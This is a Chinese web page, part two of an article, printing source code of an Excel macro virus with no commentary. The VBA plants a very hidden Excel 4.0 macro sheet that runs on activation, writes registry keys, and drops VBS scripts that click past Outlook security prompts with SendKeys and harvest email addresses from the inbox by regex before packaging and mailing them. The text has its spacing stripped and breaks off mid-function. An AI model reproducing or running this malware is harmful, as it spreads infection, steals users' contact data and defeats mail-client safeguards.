EXCEL_宏病毒代码   边上写了一点翻译，病毒作者水平真正是很NB的。(2)

DimoWshell

SetoWshell=CreateObject('WScript.Shell')

IfValueType=''Then

oWshell.RegWritestrkey,Value

Else

oWshell.RegWritestrkey,Value,ValueType

EndIf

SetoWshell=Nothing

EndSub

PrivateSubMovemacro4(ByValwbAsWorkbook)

OnErrorResumeNext

DimshtAsObject

wb.Sheets(1).Select

Sheets.AddType:=xlExcel4MacroSheet

ActiveSheet.Name='Macro1'

Range('A2').Select

ActiveCell.FormulaR1C1='=ERROR(FALSE)'

Range('A3').Select

ActiveCell.FormulaR1C1='=IF(ERROR.TYPE(RUN('''&Application.UserName&'''))=4)'

Range('A4').Select

ActiveCell.FormulaR1C1='=&'PleaseEnable

Macro!'',3)'

Range('A5').Select

ActiveCell.FormulaR1C1='=FILE.CLOSE(FALSE)'

Range('A6').Select

ActiveCell.FormulaR1C1='=END.IF()'

Range('A7').Select

ActiveCell.FormulaR1C1='=RETURN()'

ForEachshtInwb.Sheets

wb.Names.Addsht.Name&'!Auto_Activate','=Macro1!$A$2',False

Next

wb.Excel4MacroSheets(1).Visible=xlSheetVeryHidden

EndSub

PrivateFunctionWorkbookOpen(WorkBookNameAsString)AsBoolean

WorkbookOpen=False

OnErrorGoToWorkBookNotOpen

IfLen(Application.Workbooks(WorkBookName).Name)>0Then

WorkbookOpen=True

ExitFunction

EndIf

WorkBookNotOpen:

EndFunction

PrivateSubActionJudge()

ConstT1AsDate='10:00:00'

ConstT2AsDate='11:00:00'

ConstT3AsDate='14:00:00'

ConstT4AsDate='15:00:00'

DimSentTimeAsDate,WshShell

SetWshShell=CreateObject('WScript.Shell')

IfNotInStr(UCase(WshShell.RegRead('HKEY_CLASSES_ROOT\mailto\shell\open\command\')),'OUTLOOK.EXE')>

0ThenExitSub

IfTime>=T1AndTime<=T2OrTime>=T3AndTime<=T4Then

IfReadOut('D:\Collected_Address:frag1.txt')='1'Then

ExitSub

Else

CreateFile'1','D:\Collected_Address:frag1.txt'

search_in_OL

EndIf

Else

IfNotif_outlook_openThenExitSub

IfTime>T2AndTime<=DateAdd('n',10,T2)OrTime>T4AndTime<=DateAdd('n',10,T4)Then

ExitSub

Else

SentTime=DateAdd('n',-21,Now)

OnErrorGoTotimeError

SentTime=CDate(ReadOut('D:\Collected_Address:frag2.txt'))

timeError:

IfNow<DateAdd('n',20,SentTime)OrReadOut('D:\Collected_Address\log.txt')=''Then

ExitSub

Else

CreateFile'','D:\Collected_Address:frag1.txt'

CreateFileNow,'D:\Collected_Address:frag2.txt'

CreatCab_SendMail

EndIf

EndIf

EndIf

EndSub

PrivateSubsearch_in_OL()

DimiAsInteger,AttNameAsString,AddVbsFileAsString,AddListFileAsString,fsAsObject,

WshShellAsObject

OnErrorResumeNext

Setfs=CreateObject('scripting.filesystemobject')

SetWshShell=CreateObject('WScript.Shell')

Iffs.Folderexists('E:\KK')=FalseThenfs.CreateFolder'E:\KK'

AttName=Replace(Replace(Left(ThisWorkbook.Name,Len(ThisWorkbook.Name)-4),'','_'),'.','_')

AddVbsFile_clear='E:\KK\'&AttName&'_clear.vbs'

i=FreeFile()

OpenAddVbsFile_clearForOutputAccessWriteAs#i

Print#i,'OnerrorResumeNext'

Print#i,'Dimwsh,tle,T0,i'

Print#i,'T0=Timer'

Print#i,'Setwsh=createobject('''&'wscript.shell'''&')'

Print#i,'tle='''&'MicrosoftOfficeOutlook'''&''

Print#i,'Fori=1To1000'

Print#i,'IfTimer-T0>60ThenExitFor'

Print#i,'CallRefresh()'

Print#i,'wscript.sleep05'

Print#i,'wsh.sendKeys'''&'%a'''&''

Print#i,'wscript.sleep05'

Print#i,'wsh.sendKeys'''&'{TAB}{TAB}'''&''

Print#i,'wscript.sleep05'

Print#i,'wsh.sendKeys'''&'{Enter}'''&''

Print#i,'Next'

Print#i,'Setwsh=Nothing'

Print#i,'wscript.quit'

Print#i,'SubRefresh()'

Print#i,'DoUntilwsh.AppActivate(CStr(tle))=True'

Print#i,'IfTimer-T0>60ThenExitSub'

Print#i,'Loop'

Print#i,'wscript.sleep05'

Print#i,'wsh.SendKeys'''&'%{F4}'''&''

Print#i,'EndSub'

Close(i)

AddVbsFile_search='E:\KK\'&AttName&'_Search.vbs'

i=FreeFile()

OpenAddVbsFile_searchForOutputAccessWriteAs#i

Print#i,'OnerrorResumeNext'

Print#i,'ConstolFolderInbox=6'

Print#i,'Dimconbinded_address,WshShell,sh,ts'

Print#i,'SetWshShell=WScript.CreateObject('''&'WScript.Shell'''&')'

Print#i,'SetobjOutlook=CreateObject('''&'Outlook.Application'''&')'

Print#i,'SetobjNamespace=objOutlook.GetNamespace('''&'MAPI'''&')'

Print#i,'SetobjFolder=objNamespace.GetDefaultFolder(olFolderInbox)'

Print#i,'SetTargetFolder=objFolder'

Print#i,'conbinded_address='''&''''&''

Print#i,'SetcolItems=TargetFolder.Items'

Print#i,'wscript.sleep300000'

Print#i,'WshSHell.Run('''&'wscript.exe'&AddVbsFile_clear&''''&'),vbHide,False'

Print#i,'ts=Timer'

Print#i,'ForEachobjMessageincolItems'

Print#i,'IfTimer-ts>55thenexitFor'

Print#i,'conbinded_address=conbinded_address&valid_address(objMessage.Body)'

Print#i,'Next'

Print#i,'add_textconbinded_address,8'

Print#i,'add_textall_non_same(ReadAllTextFile),2'

Print#i,'WScript.Quit'

Print#i,''

Print#i,'PrivateFunctionvalid_address(source_data)'

Print#i,'DimoDict,trimed_data,temp_data,i,t_asc,header_end,trimed_arr,nonsame_arr'

Print#i,'Dimregex,matchs,ss,arr()'

Print#i,'SetoDict=CreateObject('''&'Scripting.Dictionary'''&')'

Print#i,'Setregex=CreateObject('''&'VBSCRIPT.REGEXP'''&')'

Print#i,''

Print#i,'regex.Global=True'

Print#i,'regex.Pattern='''&'\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*'''&''

Print#i,'Setmatchs=regex.Execute(source_data)'

Print#i,'ReDimtrimed_arr(matchs.Count-1)'

Print#i,'Fori=Lbound(trimed_arr)ToUbound(trimed_arr)'

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/ruanjian/article-121978-2.html